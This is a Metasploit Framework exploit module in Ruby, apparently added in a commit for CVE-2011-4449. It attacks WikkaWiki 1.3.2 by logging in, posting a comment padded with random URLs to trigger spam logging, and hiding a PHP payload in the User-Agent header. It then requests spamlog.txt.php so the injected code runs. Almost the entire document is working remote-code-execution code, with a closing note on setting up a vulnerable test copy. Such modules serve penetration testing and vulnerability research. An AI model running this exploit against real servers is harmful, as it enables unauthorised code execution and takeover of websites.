Add CVE-2011-4449
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sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
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'Description' => %q{
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This module exploits a vulnerability found in WikkaWiki. When the spam logging
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feature is enabled, it is possible to inject PHP code into the spam log file, and
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then request it to execute our payload. There are at least three different ways
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to trigger spam protection, this module does so by generating 10 fake URLs in a
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comment (by default, the max_new_comment_urls parameter is 6).
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Please note that in order to use the injection, you must manually pick a page
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first that allows you to add a comment, and then set it as 'PAGE'.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'EgiX', #Initial discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['CVE', '2011-4449'],
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['OSVDB', '77391'],
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['EDB', '18177'],
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['URL', 'http://wush.net/trac/wikka/ticket/1098']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Arch' => ARCH_PHP,
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'Platform' => ['php'],
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'Targets' =>
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[
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['WikkaWiki 1.3.2 r1814', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 30 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('USERNAME', [true, 'WikkaWiki username']),
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OptString.new('PASSWORD', [true, 'WikkaWiki password']),
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OptString.new('PAGE', [true, 'Page to inject']),
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OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
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], self.class)
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end
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def check
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "#{target_uri.path}wikka.php?wakka=HomePage"
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})
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if res and res.body =~ /Powered by WikkaWiki/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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#
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# Get the cookie before we do any of that login/exploity stuff
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#
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def get_cookie
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "#{@base}wikka.php"
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})
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# Get the cookie in this format:
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# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
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if res and res.headers['Set-Cookie']
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cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
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else
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raise RuntimeError, "#{@peer} - No cookie found, will not continue"
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end
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cookie
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end
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#
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# Do login, and then return the cookie that contains our credential
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#
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def login(cookie)
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# Send a request to the login page so we can obtain some hidden values needed for login
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uri = "#{@base}wikka.php?wakka=UserSettings"
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri,
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'cookie' => cookie
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})
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# Extract the hidden fields
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login = {}
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if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
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fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
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fields.each do |name, value|
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login[name] = value
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end
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else
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raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
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end
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# Add the rest of fields required for login
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login['action'] = 'login'
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login['name'] = datastore['USERNAME']
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login['password'] = datastore['PASSWORD']
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login['do_redirect'] = 'on'
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login['submit'] = "Login"
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login['confpassword'] = ''
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login['email'] = ''
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port = (rport.to_i == 80) ? "" : ":#{rport}"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
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'vars_post' => login
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})
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if res and res.headers['Set-Cookie'] =~ /user_name/
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user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
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pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
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cookie_cred = "#{cookie}; #{user}; #{pass}"
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else
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cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
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raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
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end
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return cookie_cred
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end
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#
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# After login, we upload the PHP payload
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#
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def upload_exec(cookie)
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# Get the necessary fields in order to post a comment
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
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'cookie' => cookie
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})
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fields = {}
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if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
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$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
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fields[n] = v
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end
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else
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raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
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end
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# Generate enough URLs to trigger spam logging
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urls = ''
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10.times do |i|
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urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
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end
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# Add more fields
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fields['body'] = urls
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fields['submit'] = 'Add'
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# Upload payload
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b64_payload = Rex::Text.encode_base64(payload.encoded)
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port = (rport.to_i == 80) ? "" : ":#{rport}"
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uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
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post_data = ""
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send_request_cgi({
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'method' => 'POST',
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'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
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'cookie' => cookie,
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'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
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'vars_post' => fields,
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'agent' => "<?php #{payload.encoded} ?>"
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})
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send_request_raw({
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'method' => 'GET',
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'uri' => "#{@base}spamlog.txt.php"
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})
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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@base = target_uri.path
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@base << '/' if @base[-1, 1] != '/'
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print_status("#{@peer} - Getting cookie")
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cookie = get_cookie
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print_status("#{@peer} - Logging in")
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cred = login(cookie)
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print_status("#{@peer} - Triggering spam logging")
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upload_exec(cred)
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handler
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end
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end
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=begin
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For testing:
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svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
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Open wikka.config.php, do:
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'spam_logging' => '1'
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=end
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